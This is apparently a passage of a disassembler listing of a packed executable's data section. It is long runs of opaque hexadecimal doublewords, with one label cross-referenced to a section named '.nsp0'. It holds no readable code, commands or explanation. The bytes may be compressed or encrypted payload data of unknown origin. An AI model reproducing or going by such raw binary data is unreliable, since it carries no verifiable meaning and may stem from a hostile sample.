		dd 0C0BE75EFh, 32B437D8h, 0EDD5A125h, 7D2CC3AEh, 0E3734027h
		dd 1F88C2CEh, 3155769Fh, 263F57C0h, 0D1963C44h,	1EA49F2Dh
		dd 139FB9C8h, 7AA1D73Bh, 566352B6h, 72B56981h, 5F1843FBh
		dd 7075E76Dh, 4CDB121Dh, 95E472E7h, 0BA81B9E5h,	6B9615C4h
		dd 0CB1670D8h, 0DD59C546h, 0A0D58730h, 2B195E82h, 52EAC8D3h
		dd 2E04C4B5h, 4E487A5Eh, 55C80394h, 0B4B78345h,	14620A57h
		dd 0F2A2AA26h, 615FE6C9h, 4C052E8Fh, 5A1564B7h,	4AB70DE8h
		dd 0CBC30854h, 0C7517113h, 0EDAB30C8h, 217FC594h, 0EA07ADFBh
		dd 6DE8E0E1h, 0DBC6F375h, 649ED30Eh, 0E8778C81h, 0BAD6C4F9h
		dd 0F830DAA7h, 0A5138A97h, 0A9E9FA4Dh, 0EEFCD61Fh, 2B5CB4F6h
		dd 0AC3C6B35h, 3C591005h, 6A42364h, 0A1E5B5DFh,	4F7576ABh
		dd 0C7E8FC28h, 0E3E1EE17h, 68036E18h, 3FB74596h, 66D6215h
		dd 0F5D5A624h, 0C149B910h, 7578605Fh, 0E9C2D3F3h, 0B1B46100h
		dd 0FA3E62F6h, 4D257431h, 3E678EF2h, 81FC664Ch,	3253B2D6h
		dd 1563735h, 0D939EBA4h, 702EE7F8h, 514D387h, 0CC39918Fh
		dd 630A8B7h, 0C3CBA2A6h, 0D3200D88h, 0BEA6807Dh, 4940C606h
		dd 616B021Dh, 31E73872h, 0EFF37A8Ch, 9D0A55F1h,	69F394ECh
		dd 0E9275B88h, 8C726CD8h, 17E710FBh, 0CD26C27Ch, 86EFE6D9h
		dd 8FB94667h, 97D915BEh, 5BF4F706h, 74CF2DAh, 0D11AB473h
		dd 2B9632Fh, 3C464519h,	9F59352Ah, 1B13E8Ah, 0CF0A77C4h
		dd 0FDA33B2Bh, 41A39D6Ch, 12E97AA5h, 4968ADh, 0F6C3382Ah
		dd 30B5E00Eh, 862D1760h, 0A4016481h, 0CDE28F4Dh, 0D9E052FBh
		dd 3CFC4935h, 4C65A303h, 7944197Eh, 40522C8Fh, 38BF680Ch
		dd 0DBF0CD44h, 0F023097h, 83419F98h, 397E8CD5h,	84FFA03Ch
		dd 0E38C5DB6h, 0D05EC198h, 6B15D5BCh, 46B0DCA2h, 0A9636EFDh
		dd 19FDCC96h, 2E1EFD40h, 96008747h, 2A793FB8h, 0DCB96A0Fh
		dd 9D726308h, 4C8E77DAh, 0A524538Eh, 212DE8E2h,	0A408546Eh
		dd 51F5E7BAh, 0CCFB02BAh, 835810D9h, 3EEF3626h,	80E290CAh
		dd 2CA813E3h, 31AF1683h, 8D0A6BEh, 857D1132h, 15BC6DD8h
		dd 104F7D23h, 0DF20820Dh, 7E7DA999h, 2FE18DCh, 79139627h
		dd 64D88208h, 463B4C6Bh, 6FEC1217h, 0D3986191h,	6625A59Ch
		dd 0A9D3DF81h, 0CA15D497h, 6DD7DCE2h, 0CF92BDE4h, 3DFF205Bh
		dd 896D28BCh, 4298D628h
		dd 0CB682F30h, 58817CA1h, 18F0B873h, 5072FB72h,	0C2472DC4h
		dd 0C9FB7847h, 0E7CB7172h, 9797DD27h, 0EFD6CF61h, 0C1214064h
		dd 61FA8FBCh, 0DCACE9C0h, 4AC2E8EDh, 10F4C2CCh,	93E54771h
		dd 0A3B36DB0h, 5F9A2A6Ch, 6B5B7F54h, 1D6AEA5Eh,	0A1313ABBh
		dd 0F99027E2h, 8D879451h, 0CC00D851h, 0C340456Dh, 0BDEDB07Eh
		dd 154F8905h, 86F64117h, 6CEDA285h, 8CBAE674h, 0A7D47A19h
		dd 862B29FCh, 0F9CB7031h, 0B402579Eh, 0B0F78FA6h, 4B3889DAh
		dd 1A055620h, 0A8F2EE45h, 13FB0B83h, 0F7F7C9B6h, 2E92CE30h
		dd 7939CCB0h, 7AC89574h, 0C285834Fh, 71D72B00h,	8C1F1E40h
		dd 74ED2871h, 38AF1AB9h, 0DEED3EBFh, 0F6BFDDF6h, 0AA4F889h
		dd 2E5A0D07h, 4A51EB99h, 31457616h, 2695F269h, 0F14D110Dh
		dd 0C4DE4C3Ah, 48953739h, 957D300Dh, 9A6D821Eh,	2DF93800h
		dd 7310494h, 7EE10D2Fh,	0B32B8CEAh, 0F76AABA5h,	9526E3FDh
		dd 2D73FC1h, 0FF4E6270h, 8B9F11A9h, 0AC5F2A5Bh,	8939AFD3h
		dd 0F3FE2834h, 0AA2C51F7h, 2123AEDBh, 7B68A13Ch, 0A525350Ch
		dd 42E001E7h, 9F60A524h, 0B93E04E9h, 0AB311694h, 115FD523h
		dd 8C389F81h, 30BECDF1h, 125E7232h, 451BFFCCh, 84DF2EBAh
		dd 0F8B48AB4h, 0C3F2BFC5h, 7A214C5Bh, 8106E075h, 0B0AAE53Fh
		dd 0E7D650E7h, 3C93DF2Dh, 4407808Eh, 0F7A5183Ch, 0D34DF885h
		dd 0B9C97AA2h, 0F2B6839Eh, 711F54C4h, 6F607878h, 85F2BD06h
		dd 1ED882CCh, 0E2D77309h, 0E9E47481h, 0EE876D42h, 0A66D58FBh
		dd 0A3A6DD65h, 6BD64E73h, 6A5D41BFh, 0B59F6637h, 0A16DB902h
		dd 2158F2D1h, 504E4C00h, 1ED74FEFh, 0FCA2BB9Eh,	16189C0Fh
		dd 607F6CD4h, 29EA8F93h, 63F438E8h, 46E0D242h, 42672B42h
		dd 7023F05h, 0B0BBF70Dh, 97A02F36h, 8FE26FEFh, 7D6263E3h
		dd 1509B3CCh, 261EBC3h,	17BD1E7Ah, 0DD05D9A2h, 89A64650h
		dd 44920402h, 0A584B2CDh, 435AE8DBh, 0DFE13D02h, 48A4F43Ah
		dd 59E39997h, 0F74D2E83h, 0E9DB0C65h, 3FA8587h,	206535CBh
		dd 2A96E712h, 0A7D5A3CEh, 0B65D0E3h, 8C050732h,	2D68E067h
		dd 94DB8573h, 0F433D1A9h, 1CA20A03h, 0F65217D7h, 0ABBCDEAEh
		dd 11DE74D3h, 0A0A6D3CDh, 0A787A10Ch, 662C6A4Ah, 2EC6E2A1h
		dd 11C94499h, 64D38097h, 0CF554C5Ah, 6086F8F0h,	9BFF6D5Fh
		dd 5B85BC17h, 238B1DA4h, 2C9190CAh, 0C3EDB839h,	0BA3F1DB8h
		dd 0FF8D82EFh, 0EC96E9DCh, 4A9151A5h, 7309F59Bh, 0B38C2980h
		dd 0E8D77715h, 0B0D9A3A5h, 44ED9028h, 0CF3D4123h, 0D1F060B1h
		dd 0DF076F23h, 4F06F88Eh, 0DC37B0D2h, 50909011h, 8CA54C84h
		dd 0CFE79E67h, 35D2F676h, 6802030Ah, 0C7D93B12h, 34F6176Eh
		dd 749CA9F6h, 4B6EA14h,	35D4D98Eh, 694340AFh, 952ED9D9h
		dd 0B3628F8Fh, 0E0094BC6h, 0CBAC4FF0h, 8879979Ch, 0BE4BB620h
		dd 0E183946Dh, 5181E8DCh, 6E588D4Ch, 0CAB95818h, 4674D34Fh
		dd 0DC34ADDh, 6B34D4A9h, 0E417C843h, 6E47B770h,	6F069078h
		dd 8C05502Eh, 0AE8147D0h, 82E669FAh, 0B34BE954h, 46189FE6h
		dd 8156E819h, 4A14B37Eh, 0CCDAE0D8h, 0E0A70FBEh, 5A15BD75h
		dd 53CD118h, 0B2FE60E2h, 2C696DAFh, 0B4CBE231h,	0C275E1EEh
		dd 0AE71475Eh, 6C588273h, 2ADCDC29h, 0A196119h,	0CF968411h
		dd 8AC3556Eh, 3F3384DCh, 3673D4FFh, 0AF3443ECh,	2B855512h
		dd 551989B6h, 959ACCD2h, 51052E5Ch, 4385617Ah, 0D392DF0Dh
		dd 8A3108DFh, 339B3344h, 3AEDD242h, 417317E1h, 653E1D35h
		dd 12F3CD96h, 71CCDD06h, 21794261h, 0F217787Ah,	7EE0DE34h
		dd 43B52F1Ah, 6B320F53h, 0E675DF47h, 2E66DF04h,	0E1A84561h
		dd 7C28E7E5h, 0B9AA7592h, 21B05006h, 17C3930Fh,	0DA86DC05h
		dd 56C1AB7Bh, 0B8483077h, 2254A24Eh, 0ADE255A0h, 17A99504h
		dd 2A0A6F2Ah, 490143F1h, 33202501h, 0BAE38C8Ch,	486980B3h
		dd 91823CF0h, 6624C125h, 0C920A494h, 1788A6A2h,	14CF528Dh
		dd 25356FC5h, 0A1357C00h, 0C3DABD69h, 0E1A382CCh, 0C7989DB8h
		dd 0FA77A340h, 28FE49E3h, 91D62955h, 75350A1Ch,	0EA1B1684h
		dd 718A0025h, 0BD1C69B9h, 46CEAD4Dh, 0F2B15B78h, 0E4EBE7D7h
		dd 0F277C507h, 0A1F7B752h, 3DE09927h, 0ED71FF9Eh, 0CAE16495h
		dd 18247110h, 0E9B75BB1h, 952AA991h, 0A8372C47h, 909BB2E7h
		dd 536B0B25h, 66162C66h, 33A189E1h, 0BAD4C5B4h,	0F08D9CFCh
		dd 2E13DA31h, 0B6BB8DBEh, 3CAEF31Eh, 0A1C5B6F0h, 0DA8AD12Dh
		dd 6BBC3D5Eh, 0F3CF1E56h, 8163809Bh, 0EDF08A10h, 7F526D51h
		dd 8D842E0Eh, 0A96EACA3h, 2AD301FCh, 0B5FE21BAh, 4B70E745h
		dd 1E45C782h, 0FE6D91C0h, 2B4FBF3Fh, 45130267h,	49728B0Bh
		dd 219C6FEEh, 6C6E0795h, 0B096F7D7h, 93ABEF59h,	130C544Fh
		dd 0B336106Fh, 0FA56E940h, 5D5EAFD0h, 2ACAFFD6h, 0C5A4B671h
		dd 5318B417h, 0FA97CE80h, 0C067B1E3h, 27D36D47h, 3772211Fh
		dd 32C7446Eh, 7CC45245h, 0B1652C7Fh, 0D6133E5Ah, 0C930F5C1h
		dd 84ECD95Fh, 0FE5C7CD4h, 9DC994B7h, 85D6AF6Dh,	34575CD5h
		dd 8F201101h, 0F8144524h, 0CE81942Ah, 833F0872h, 3456BD35h
		dd 2EF02573h, 0A7F455E5h, 0E70AA74Ah, 2E31631Fh, 0DF87C259h
		dd 0EA9FD926h, 0B085FBDh, 76C00845h, 49B789E3h,	9D6AB5F5h
		dd 6C1CA62Bh, 14280AACh, 0CEEF7FD8h, 0B5DDE40Ch, 8F639C6Fh
		dd 50BFF41Ah, 872B9023h, 0C62FFAEh, 24B7BB83h, 0ED79E457h
		dd 43AD7629h, 0D0DB3BFDh, 0C83E707Ah, 99B1AA12h, 0A6B81512h
		dd 5294E115h, 4FE96559h, 23869456h, 0F8EEABB2h,	0EC589E0Bh
		dd 74520D52h, 0C234E49Eh, 54625FF3h, 0C6980D8Eh, 54A47320h
		dd 0E0140B44h, 5B7AE5BAh, 862E450Bh, 2083A229h,	57EE5326h
		dd 0DA0D348Ah, 0A183769Eh, 8B2D10D8h, 44BC66B6h, 0BE1DF3CDh
		dd 0F6F355DFh, 0ADB266A1h, 0F7E50BFBh, 37B69585h, 4B21041Ah
		dd 0EEC7819Ch, 495B4B47h, 0D9155522h, 0CBFB1FF0h, 54DC3037h
		dd 87C60443h, 4095774Bh, 0CB5DD906h, 0C0D7F779h, 0D08664E6h
		dd 25B9314Ah, 0B106C6C2h, 0E481E384h, 50B157C9h, 0BF970BBFh
		dd 0B845B597h, 0B9C45F0Bh, 75122224h, 15BA1CFAh, 4A41D96Ch
		dd 3D4BDAE2h, 49E49DB4h, 52A0CC6Fh, 30BDE4F2h, 25CFA1F3h
		dd 86FCD32Fh, 450F46C8h, 5A3EC85h, 13164E71h, 4BAAE087h
		dd 0BED92836h, 0D1C26A73h, 0BF67CFFCh, 0DE6432DBh, 0ED059520h
		dd 0F70364F6h, 0E3A9DCBCh, 3A7C10C4h, 45DD3748h, 0F190E7B2h
		dd 2986859Fh, 1D153928h, 86108B9h, 3C193C1Dh, 0E7A84B0Fh
		dd 0F7EFF857h, 0EC45A4BCh, 323E8E9Ah, 2D1360C9h, 2BCDA2BDh
		dd 7A8A3E42h, 583F40E3h, 71E2A7A4h, 666069DFh, 22BF1BBDh
		dd 283D82Eh, 9FB5B8CDh,	76E32C21h, 0E4AC9C06h, 0BF92656h
		dd 0A28988B8h, 98C79F53h, 5724FB68h, 7A4347D7h,	0B02661DEh
		dd 59F22A2Ah, 7A779060h, 787BE45Dh, 65E715A0h, 3E44F56Fh
		dd 479E7C2Eh, 0E9F79370h, 8D8F48C6h, 0E2DEB7D1h, 0F97A1987h
		dd 0B6606256h, 2F156211h, 0B1FC66CEh, 87ACCC9Eh, 88FE7427h
		dd 4355DF1Bh, 0D3DA61DBh, 80002AC4h, 39E0D12Eh,	821DE269h
		dd 0D0E6168Dh, 1700DCF9h, 63A6878Ah, 5E1BFBD5h,	0EF8B80Bh
		dd 28598696h, 0BFA75C3Ch, 12FD9716h, 33F1FAEh, 34218F08h
		dd 0CE1E9EA3h, 0E992B5FDh, 5A5FF0B2h, 70E54044h, 0C5BC937Ah
		dd 61028A15h, 198EB97Fh, 10B16651h, 0A5B27ADFh,	9AB209B4h
		dd 0E29244F8h, 4FC8815Bh, 0BC42C3D9h, 0C24FD3F1h
		db 0EEh
byte_505345	db 71h,	0FFh, 4Bh	; DATA XREF: .nsp0:off_451E80o
					; .nsp0:off_451E88o ...
		dd 147756DAh, 8D6B896Dh, 0C57E9E90h, 0DBA2FA23h, 7D26AB9Bh
		dd 8CE127FFh, 0BCB9D7F5h, 0C0A7788Dh, 7D9B80BFh, 4A101A8Ah
		dd 5D9F62C9h, 5A32D17Ch, 59FB1D31h, 0E8CCEF43h,	5537F593h
		dd 4047DF7Eh, 9B5D9CDh,	6A6D414Eh, 0E24CF802h, 0DBC32C10h
		dd 0F534D785h, 35E14EC3h, 182B478Ah, 466AD0B0h,	0A2CD7986h
		dd 712EF171h, 0A05933FCh, 0F0E3E307h, 0F4B43FADh, 3E5C55D9h
		dd 0E0FE9421h, 114ED1B4h, 0B480B06Fh, 0EC5FDD03h, 124108C2h
		dd 0A5DBD4BEh, 0D00A70DEh, 0C3DF8184h, 0BCB81A67h, 0D9D6286Fh
		dd 8DD00395h, 0D1AB9969h, 81087948h, 4EF269E1h,	5E32897Bh
		dd 24F72CACh, 0E7D7CAAAh, 3B176860h, 0DC54955Fh, 907917EEh
		dd 3ED708Fh, 2E7483E1h,	59762A03h, 7A1E8DB3h, 0BF188140h
		dd 25158BD3h, 771FFFE1h, 0E952895Ch, 85C22814h,	4B9CDBF4h
		dd 167597C8h, 0B4598C38h, 0FB0F83ACh, 3EAC46ECh, 8E2CFD1Ah
		dd 0A3B2A636h, 0B90B63F9h, 0F5E5DA5Ch, 8C310139h, 0BE0AC0C5h
		dd 76300364h, 699214B9h, 0D6B4FD08h, 5C7150DBh,	0CE11DEDAh
		dd 4A02E76h, 2FFC268h, 0B8BA7092h, 678C74C1h, 0DF4EFB0Bh
		dd 899ED16Ah, 0FFF65A5Dh, 3CDADED2h, 7D7C36BBh,	59DB9764h
		dd 0C41A1DF7h, 0B76DE52Bh, 0BCAE7856h, 0A72A3DFBh, 9FE8A46h
		dd 8BDEE169h, 0D004E7BEh, 7DE560Fh, 1D8D5FC6h, 0EAE5E49Dh
		dd 18D0147Dh, 5B391BF3h, 0CC06570Fh, 4FAB6238h,	0C9E417B4h
		dd 3E2DA2D1h, 740CFDA2h, 10939D62h, 97F9695Fh, 0A41A65ECh
		dd 3AFD4C42h, 7671B63Ah, 8E74F76Ch, 0E8776516h,	3D7678E0h
		dd 3008FEEBh, 2C8CC0FEh, 0FB090433h, 0D66F5D34h, 0C0E60F4Ah
		dd 497E0143h, 6EA32A2Ch, 41AA4DF8h, 80DC128Ch, 0F87F4DBEh
		dd 9DAC85D8h, 0AF33A245h, 24DB6E63h, 46196B34h,	0DAFD3525h
		dd 0D136D38Fh, 17B54476h, 0F3621935h, 0EFDB5B44h, 1DFCAB77h
		dd 0CB95C1C8h, 0EED9239Dh, 7761A805h, 19CFD95Fh, 309C3707h
		dd 0B7AFAF3h, 0AA7CD289h, 7930C8FAh, 0F2032E24h, 0D2260813h
		dd 15B78164h, 9CFADFE4h, 5AC921D2h, 0B24CD6h, 0C01765E2h
		dd 65E42C26h, 0E8ACDE2Ah, 3955038Fh, 5868E6D2h,	4DAD4F2Bh
		dd 7721B85Ch, 6F5D1604h, 0F5B82C9Dh, 5ABE27BEh,	0FE508ACCh
		dd 708C04C8h, 42EA2003h, 9EFA0FE8h, 389A4BAFh, 0B873B5BFh
		dd 0BE825CE7h, 0B39616D4h, 232CD9F2h, 361A528Eh, 399F07EFh
		dd 0E9B6800Eh, 3A3E47EEh, 1B1F48CAh, 61F8B5E8h,	0D19007F9h
		dd 3E09A08Eh, 94D36378h, 314E791h, 0E0270B54h, 878B9D1Dh
		dd 0E74DFA97h, 0B502D766h, 888D4BFAh, 1BA4EEBDh, 5648FDD7h
		dd 2A07756Dh, 0F3D523C1h, 69F37836h, 0CB05E515h, 15D115BEh
		dd 212ED8AAh, 0AFE91FFEh, 0EBF4BA15h, 75E23D22h, 9193BEC9h
		dd 4CA654BCh, 0C4A6FDECh, 0B2F55DEh, 43F209FBh,	45C22893h
		dd 0AD78F11Bh, 0CDB80BA3h, 0FBD2D0C5h, 2D0FD7F3h, 0D14A6411h
		dd 0EA39F071h, 58A8BFCDh, 0D83178E3h, 0BBF26F1Eh, 0A007E66Ah
		dd 63F8AD33h, 2FB59055h, 4DD5AE86h, 0AD710CD6h,	1EF81F6Ah
		dd 9D4BEF0Bh, 0E06C7F08h, 5EAD3209h, 0A5AA3043h, 0CCE5BD1Ch
		dd 0D3E09C62h, 0B7CED5Bh, 5C523A8h, 0E3ACF449h,	0FA127A03h
		dd 7D79F932h, 1E049700h, 7AAFF1DEh, 21B66C25h, 48A2C0B6h
		dd 6D64469Ah, 0D8643B24h, 0E133E848h, 31663AA7h, 0AC010945h
		dd 0D298992Eh, 5A6FBE37h, 896EA91Dh, 0F24B1D2h,	73ED32A7h
		dd 81E688D2h, 0D4B430C0h, 6035A067h, 0B674A3B4h, 0D9BAEB2h
		dd 544FE78Bh, 0BB5AFAEDh, 0CBE773E9h, 0B91EC8EBh, 0AB806A4Fh
		dd 616B55FCh, 143BD3F8h, 2A6F7718h, 6D85FEBDh, 19D7397Ah
		dd 202B4C8h, 4F571856h,	659AB43Fh, 0FA859BECh, 9184B07h
		dd 3E8E59B4h, 0D20A10A7h, 0A30346BBh, 52814FBFh, 77807714h
		dd 831966E3h, 78128758h, 0F645EADCh, 0E379E8Dh,	70113E6h
		dd 0A7240BF2h, 8960AB91h, 1062222Ah, 671302B5h,	5B1C670Bh
		dd 831D4C02h, 10015190h, 0B89F41F9h, 9870717Fh,	0B1C771B7h
		dd 0F965ECC6h, 9B10635Dh, 0C9911623h, 0F7FDB3D0h, 841FFB4Ah
		dd 528E1942h, 34A1104Dh, 0F6678B66h, 0AD172FD7h, 6E4288FCh
		dd 0F47920E6h, 0B98D3C39h, 9F3E4EDEh, 0EA612B1Fh, 0BE4A2C86h
		dd 44DE20C7h, 7287D019h, 7116127h, 4423E667h, 0C9D5C9Bh
		dd 5964B425h, 0AF41F11h, 6FB31E8Eh, 771830DDh, 7F2498B3h
		dd 0B514D5C1h, 6056D071h, 46E75388h, 0BBFEAE39h, 0EA58FE29h
		dd 0B8760287h, 28A3BF82h, 22F3A4B3h, 324D1FE0h,	1691AAEBh
		dd 574E057Fh, 0AF9BD4CCh, 86B0AFFAh, 0E4D52BFh,	848838C8h
		dd 0BDE12371h, 8988CD8Fh, 54FBED8Ch, 298EEDACh,	883CCEF6h
		dd 67B0ADFEh, 54CEC8A3h, 0F2EB2794h, 39FB4362h,	0F90C703Dh
		dd 0ACB73FD0h, 39AAA0B1h, 0D4164C21h, 0B84F9636h, 0AA08113Dh
		dd 0CFEB4E38h, 1258FC1Ch, 0F6276F64h, 6E7AE844h, 0D7776B8Dh
		dd 0BF836270h, 0F7BBA900h, 0B94CA0A2h, 2361D835h, 67AA7E74h
		dd 851A5920h, 69014F9Ah, 0DD7F9E18h, 0D4E2C525h, 0C84343C4h
		dd 32906E1Fh, 0C3AA7847h, 0DB7AE245h, 0C4A2F345h, 0A24E7CC5h
		dd 0DD614CBBh, 637479D4h, 562BD177h, 9FE2E91Ah,	0A91BE73Bh
		dd 3D968C65h, 12D52E17h, 0F03A0D96h, 2357EDB2h,	5ED48F75h
		dd 342D4703h, 0EEA69FCEh, 620B6EA8h, 36E0753Ah,	83FAFF10h
		dd 0C407212Dh, 0EB9BF0DAh, 8ED2C7A5h, 4DABEFD4h, 1CD04EE2h
		dd 0A947A731h, 464604BBh, 0EFA77D16h, 85C07539h, 629D0471h
		dd 4ABC7075h, 2B85CFD3h, 0C49192D2h, 38FC837Dh,	9D11DABDh
		dd 87B6E331h, 523BF597h, 0A2E11522h, 0C6490E6Fh, 74E7E5Ah
		dd 458868B8h, 0A2C6997Eh, 2A386D8Dh, 0D655EE47h, 619DCE87h
		dd 86A5994h, 322EBB41h,	0DAFCCA15h, 929856EEh, 4D3476C5h
		dd 0C6194A7Eh, 8CA4C85Fh, 97219D92h, 0BB3F13C5h, 60DF9679h
		dd 9B661B66h, 4D1B66D8h, 0D755A6Ch, 9C55F6B5h, 0FA2DAB91h
		dd 158F23AAh, 0CD8695D8h, 17982CA9h, 0BB73A8DAh, 0ABF9BC93h
		dd 8CC9A85Ah, 6363F9DDh, 5FFB514Dh, 38A3F5C7h, 6984C9FBh
		dd 141FEB3Dh, 0EF831CD2h, 4D50369Ah, 0F122CB66h, 0F131B37Bh
		dd 1E5F9BB1h, 60AC58FCh, 0EE515F8h, 7FCC8AB3h, 0EA44F7BBh
		dd 9E1E7710h, 224226CCh, 36C45381h, 0A186547Fh,	170EA93Ah
		dd 975099AEh, 0C123160Dh, 0F7A7579Ah, 9364D3DEh, 0DEF729B1h
		dd 6104D9CAh, 75A32970h, 875F242Bh, 9E3CE79h, 52ABA11Fh
		dd 3D4C1B3Ah, 0FA51923h, 44597CC1h, 0F56BCCF7h,	21C1DACEh
		dd 0A3C5EFE2h, 0C637D4ECh, 3C2F0AB6h, 0E8841F84h, 4C838B9Ch
		dd 4B038706h, 0EECA6A00h, 47F18CEDh, 68FBAFEh, 0BDB5D5B7h
		dd 645FF36h, 0A10BE4FEh, 47303DA3h, 0C1D220F1h,	5050E5D2h
		dd 0BADA61C7h, 9D31B22Ch, 4D42AF73h, 0DA95E931h, 62EC8A52h
		dd 0B7613D14h, 778B052Eh, 5BBF9907h, 0FA10A61Fh, 7D57F86h
		dd 0F889C7B7h, 0BFC61A4Dh, 997258F4h, 46685649h, 77B1CA18h
		dd 74EC8A8Ch, 3962F2FAh, 19EA8540h, 0AF01E6C5h,	0CAB64A4Eh
		dd 9101FB60h, 8D929E52h, 7A84410Ch, 0B4519C8Ah,	74FA97CAh
		dd 8812F777h, 119F02A0h, 0DC22C43Fh, 2A757DD5h,	0FC56E05Ah
		dd 55D2A43Ah, 0A5871209h, 26E062E8h, 51B79C1Bh,	4C88FAAAh
		dd 74BCBCBFh, 29443821h, 97300668h, 542004E5h, 18A8127Ah
		dd 1C18A8CCh, 3D58C6F7h, 0AF455F09h, 0B8AF8F5Ah, 5D2C93C9h
		dd 8F09CF22h, 8B55313h,	733AA4E5h, 79412365h, 61766E5Ah
		dd 3147F715h, 0D9A8790Eh
		dd 80AF6149h, 9C507E24h, 0FF2A90C2h, 29CBCF02h,	79913406h
		dd 54AFDE8Dh, 0CE9448Ch, 6B7130DAh, 8C1D8E4Ah, 688EEA68h
		dd 9624FEA6h, 0CBAE4D84h, 0BDC4CD54h, 72060BBCh, 38EB4E99h
		dd 295E8CA4h, 0A548AE8Bh, 2F6D2CC6h, 2A673CBh, 612ED562h
		dd 0EE7249ABh, 5E06B499h, 0B550BC0Fh, 0BCD55727h, 30201A4Ah
		dd 438C6D4h, 0CAFFA862h, 0C509A47Ch, 32B0B565h,	36702BF7h
		dd 148BE85h, 6FBC4B8Bh,	424B94C7h, 0AFDD1415h, 0C12A3F84h
		dd 7B4C430Eh, 0C85D554h, 0F45D64E0h, 4AEB806Dh,	72DCB830h
		dd 20AA1F4Ah, 91D37671h, 2E1C0837h, 0EF9BF722h,	69673CA3h
		dd 0A1C5CCF0h, 0A4C6B896h, 0DBC1F231h, 0F696A81Eh, 86F22277h
		dd 42CE4A9Eh, 16900E8Ch, 1B85501Ch, 0D6A20B35h,	1FD6BB9Fh
		dd 4D36DA63h, 3909042Ch, 8354F75Dh, 86A4A429h, 0B37697F5h
		dd 2EA4295h, 69BAE643h,	156BDD2Bh, 9D26EF10h, 4BDF9737h
		dd 8FCE545Fh, 0FEE57A77h, 0EC6B8E9Bh, 0F7717CDCh, 5EE13FBh
		dd 3CC688C1h, 0B9705FB2h, 0F6A21594h, 3906BE63h, 4AAE46FCh
		dd 0BD9A36FAh, 3E324DF8h, 0A6102255h, 0C83FDFF3h, 9DF34E25h
		dd 7DC2AFBh, 0F8923B87h, 0F0F3C273h, 0C52DAF1Ah, 21AC0261h
		dd 87C14326h, 7D39331Fh, 0F99A7A41h, 0E50991C5h, 0A5FBAA0h
		dd 76176E23h, 9810F4C3h, 0EBE00374h, 383DE852h,	9B6AC23Eh
		dd 74CAA1BAh, 938D5C0Fh, 3664E30Fh, 943247B0h, 0C9ABA53Fh
		dd 51729CE8h, 37F9015Fh, 28D9D256h, 0BD886A27h,	0E977109Bh
		dd 9DE4DC9h, 0E11D07E5h, 43B0DEB8h, 5ED44A3Ch, 0E8722F91h
		dd 0E7D3F5ECh, 78021F45h, 0D0EBDD85h, 7CE4C3FCh, 84FBAC53h
		dd 3668BBCDh, 2AE56716h, 45BB0EA9h, 3923DDBFh, 73281D71h
		dd 58602511h, 6D2695C7h, 8054819Dh, 0A13D5522h,	40FD3B6Fh
		dd 0E99FC423h, 675B4B9Ah, 4AFD6847h, 1DB7BD12h,	64F4DA73h
		dd 0C1738BBBh, 7DEF27D6h, 0A7EFC09h, 4218341Ah,	853A1905h
		dd 0DD4EDE9Ah, 0DEB215D9h, 30B6EEF0h, 70CF7E1Dh, 569D9E85h
		dd 0F695D50Ah, 1CC628ECh, 52BCCAEAh, 82CE4332h,	0ECB8D113h
		dd 0E5719CA9h, 9D439017h, 128F85A3h, 0DDF6F96Eh, 59B9BF0Eh
		dd 7657726Eh, 3A4816B0h, 5CC04558h, 5EFE406Fh, 8884C222h
		dd 7904B129h, 2E655EE0h, 9CB4FB58h, 928A431h, 83B6FF49h
		dd 13E8DE76h, 70EF49BCh, 502DD030h, 286E0585h, 0F3531757h
		dd 0C2683172h, 1B2B6D9h, 500D5176h, 325B7878h, 85777D4Ah
		dd 1556E63Ch, 64D1AEB5h, 14D0337Bh, 0CBB4395Dh,	0B5921DD1h
		dd 61F2DD0Bh, 77D041E6h, 25AC1D5Bh, 0CD10CDB4h,	0A507DB6Ch
		dd 0B799F823h, 81C77E59h, 0C293CD02h, 53015C4Bh, 82CC2F86h
		dd 0EC3896D1h, 49E171Eh, 4B8451A8h, 8B35665Ah, 7351C43Dh
		dd 329588F8h, 0D4D605AAh, 582178B3h, 4125E9E1h,	0FCA83A08h
		dd 6E63D227h, 12480576h, 70FB034Fh, 0CB414C8Dh,	59D649E8h
		dd 0D30CE4D3h, 0DA6EF94Fh, 6FC6052Ah, 3321D580h, 3A467123h
		dd 69CB41A2h, 6DC62EBFh, 0E5BF82Ch, 4D6B32FEh, 0C76E6EF7h
		dd 1F49636Bh, 831DEC6h,	0BCEFB0DEh, 0BBAB263Ch,	0E0F32A77h
		dd 857964C7h, 0D7EC015Dh, 1483E2B6h, 652EB8Bh, 827B66F7h
		dd 1597F859h, 1A7A91ADh, 562CE009h, 26FE7798h, 0D434F16Fh
		dd 6E248215h, 0D6BFC37Fh, 9CAEE669h, 42662A91h,	6D055798h
		dd 6BFB4D7Eh, 16E7B46Dh, 654DC79Ch, 0CE2CD919h,	52361F20h
		dd 3EE62710h, 0DF6B172Eh, 72F11C08h, 9C31DFA5h,	698E5A88h
		dd 0D118B0E4h, 1053D73Dh, 782B45A6h, 2A825D16h,	0F28B4B90h
		dd 79257022h, 0B90BDE28h, 0C5343464h, 0D47A90ECh, 0DB698F39h
		dd 85E0426Fh, 0A827F49Fh, 14D24C29h, 99AA25DFh,	0CCA64E62h
		dd 0CA7AB04Dh, 25FD21FBh, 0CA5FFF3Eh, 0A44F03ABh, 0CA4157AFh
		dd 9A2AEA46h, 3CEA961Eh, 3C6EA68Fh, 8D5EFD93h, 36B8DDA7h
		dd 3BDD070Ch, 0E290AB01h, 8750567Dh, 0F3E0191Ch, 90CAA4A3h
		dd 0BED86F48h, 0E28E14CFh, 0C05823F2h, 0AEA72D15h, 8EF25F50h
		dd 0BF35071h, 29CB044Fh, 8E87DAE2h, 60D0CC2Ch, 51F27722h
		dd 0DF672560h, 9C23DC09h, 0AC9849D7h, 9351094Eh, 0BB609F2Ah
		dd 8FB6A62Fh, 4240C53Eh, 7DAB7116h, 2B618A6Fh, 7B10A528h
		dd 0E8A5A2DFh, 8FF96847h, 0EF23C58Bh, 1EEA8099h, 0C5F11213h
		dd 0D91D999Bh, 31D10EA9h, 9BB9D72h, 69ECE5F4h, 684154B5h
		dd 0FF467542h, 0A97FFE11h, 6BD191A5h, 89D3E4D1h, 0F5B52D79h
		dd 74D79116h, 237D99E0h, 0D389A0F1h, 6FDC7C7Ch,	4DF455A3h
		dd 8F3DB9E4h, 0D8C35CECh, 406E79CAh, 0B80B5297h, 94393C2Fh
		dd 7F941432h, 400916F8h, 64CEE287h, 80041878h, 6B21E073h
		dd 216B9AC0h, 39130681h, 793C435h, 4EB61048h, 0C47A764Bh
		dd 0F4CD55C6h, 7F2BDE6Dh, 6B8C41Fh, 358B2F88h, 0F2F5CC86h
